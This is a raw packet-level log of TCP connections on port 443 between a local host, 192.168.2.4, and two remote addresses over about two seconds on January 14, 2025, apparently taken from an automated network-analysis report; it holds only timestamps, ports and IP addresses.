Jan 14, 2025 17:23:06.511991978 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.517111063 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.517174006 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.517193079 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.522871971 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.522932053 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.523000002 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.523426056 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.523447990 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.557607889 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.573885918 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.573971987 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574016094 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574026108 CET	49755	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.574048042 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574085951 CET	49755	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.574104071 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574153900 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574188948 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574227095 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574227095 CET	49755	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.574242115 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574279070 CET	49755	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.574287891 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574323893 CET	49755	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.574347973 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.574426889 CET	49755	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.574913025 CET	49755	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.574930906 CET	443	49755	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.583872080 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.583923101 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.584099054 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.584319115 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.584336996 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.602400064 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.606723070 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.606761932 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.606781960 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.606789112 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.606803894 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.606833935 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.606854916 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.606892109 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.606899977 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.606910944 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.606982946 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607008934 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607011080 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.607019901 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607043982 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.607069969 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607096910 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607105970 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.607115030 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607147932 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607148886 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.607160091 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607201099 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.607208014 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607254982 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607281923 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607302904 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.607309103 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607326984 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607350111 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.607595921 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607630014 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607667923 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.607676029 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607707977 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.607719898 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.607769012 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.608103037 CET	49756	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.608119011 CET	443	49756	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.977459908 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.988964081 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.989012003 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.989383936 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.989720106 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:06.989789963 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:06.989856958 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.032143116 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.032179117 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.047836065 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.048135996 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.048202991 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.048688889 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.049034119 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.049129963 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.049176931 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.092494011 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.092554092 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.125808954 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.125909090 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.125940084 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.125969887 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.125977039 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.126024008 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.126048088 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.126513004 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.126554012 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.126562119 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.126580954 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.126611948 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.126621008 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.126640081 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.126673937 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.127494097 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.132129908 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.132211924 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.132242918 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.176553011 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.198573112 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.198683977 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.198739052 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.200197935 CET	49758	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.200223923 CET	443	49758	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.205179930 CET	49760	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.205230951 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.205312014 CET	49760	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.205512047 CET	49760	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.205529928 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.212335110 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.212574005 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.212630987 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.212666035 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.212740898 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.212779999 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.212791920 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.213247061 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.213295937 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.213298082 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.213311911 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.213355064 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.213903904 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.213953018 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.213983059 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.214001894 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.214014053 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.214086056 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.214096069 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.214917898 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.214948893 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.214967966 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.214979887 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.214991093 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.215034962 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.215836048 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.215889931 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.215915918 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.215935946 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.215951920 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.215969086 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.261604071 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.261646032 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.303921938 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.303951979 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.303977966 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.303982973 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.304011106 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.304030895 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.304052114 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.304068089 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.304107904 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.304116011 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.304250002 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.304368973 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.304374933 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.304403067 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.304416895 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.304424047 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.304445028 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.304459095 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.304462910 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.305249929 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.305278063 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.305296898 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.305304050 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.305332899 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.306166887 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.306195021 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.306243896 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.306252956 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.307075977 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.307137012 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.307137966 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.307148933 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.307178974 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.307183027 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.307193995 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.307213068 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.307228088 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.308042049 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.308073044 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.308094978 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.308100939 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.308125973 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.308141947 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.308907986 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.308954954 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.390899897 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.390952110 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.390985966 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.390986919 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.391027927 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.391048908 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.391048908 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.391125917 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.391309023 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.391490936 CET	49757	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.391505003 CET	443	49757	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.394220114 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.394258976 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.394328117 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.394543886 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.394555092 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.446822882 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.446871996 CET	443	49762	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:07.447690010 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.448101997 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.448117971 CET	443	49762	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:07.568083048 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.568114996 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.568310022 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.568624973 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.568639040 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.667028904 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.669132948 CET	49760	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.669167995 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.669637918 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.669985056 CET	49760	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.670053005 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.670164108 CET	49760	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.715328932 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.803905964 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.804090977 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.804162025 CET	49760	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.804769993 CET	49760	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.804795980 CET	443	49760	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.847692013 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.847925901 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.847942114 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.848273039 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.848556042 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.848614931 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.848665953 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.891485929 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.931272030 CET	443	49762	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:07.952542067 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.952563047 CET	443	49762	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:07.953993082 CET	443	49762	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:07.954055071 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.955972910 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.955990076 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.956034899 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.956036091 CET	443	49762	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:07.956304073 CET	443	49762	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:07.956304073 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.956363916 CET	49762	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.956468105 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.956518888 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:07.956595898 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.956799030 CET	49765	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:23:07.956819057 CET	443	49765	172.67.210.82	192.168.2.4
Jan 14, 2025 17:23:07.994404078 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.994447947 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.994474888 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.994504929 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.994519949 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.994534969 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.994554996 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.994677067 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.994707108 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.994735003 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.994744062 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.994749069 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.994774103 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.995446920 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.995532036 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.995537996 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.999161959 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:07.999207020 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:07.999212027 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.032273054 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.032501936 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.032520056 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.032970905 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.033303976 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.033390045 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.033449888 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.033482075 CET	49763	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.033543110 CET	443	49763	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.043236017 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.080841064 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.080966949 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.080987930 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.081017971 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.081033945 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.081124067 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.081403971 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.081439972 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.081465006 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.081482887 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.081484079 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.081491947 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.081518888 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.082349062 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.082391024 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.082406044 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.082413912 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.082441092 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.082458019 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.082463980 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.082501888 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.083528042 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.083723068 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.083767891 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.083780050 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.083892107 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.083945036 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.083950996 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.084295988 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.084342957 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.084348917 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.084444046 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.084542990 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.084547997 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.124913931 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.124933004 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.167829990 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.167876005 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.167915106 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.167917967 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.167932034 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.167967081 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.167992115 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168000937 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168036938 CET	49761	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:23:08.168042898 CET	443	49761	104.18.95.41	192.168.2.4
Jan 14, 2025 17:23:08.168215036 CET	443	49761	104.18.95.41	192.168.2.4
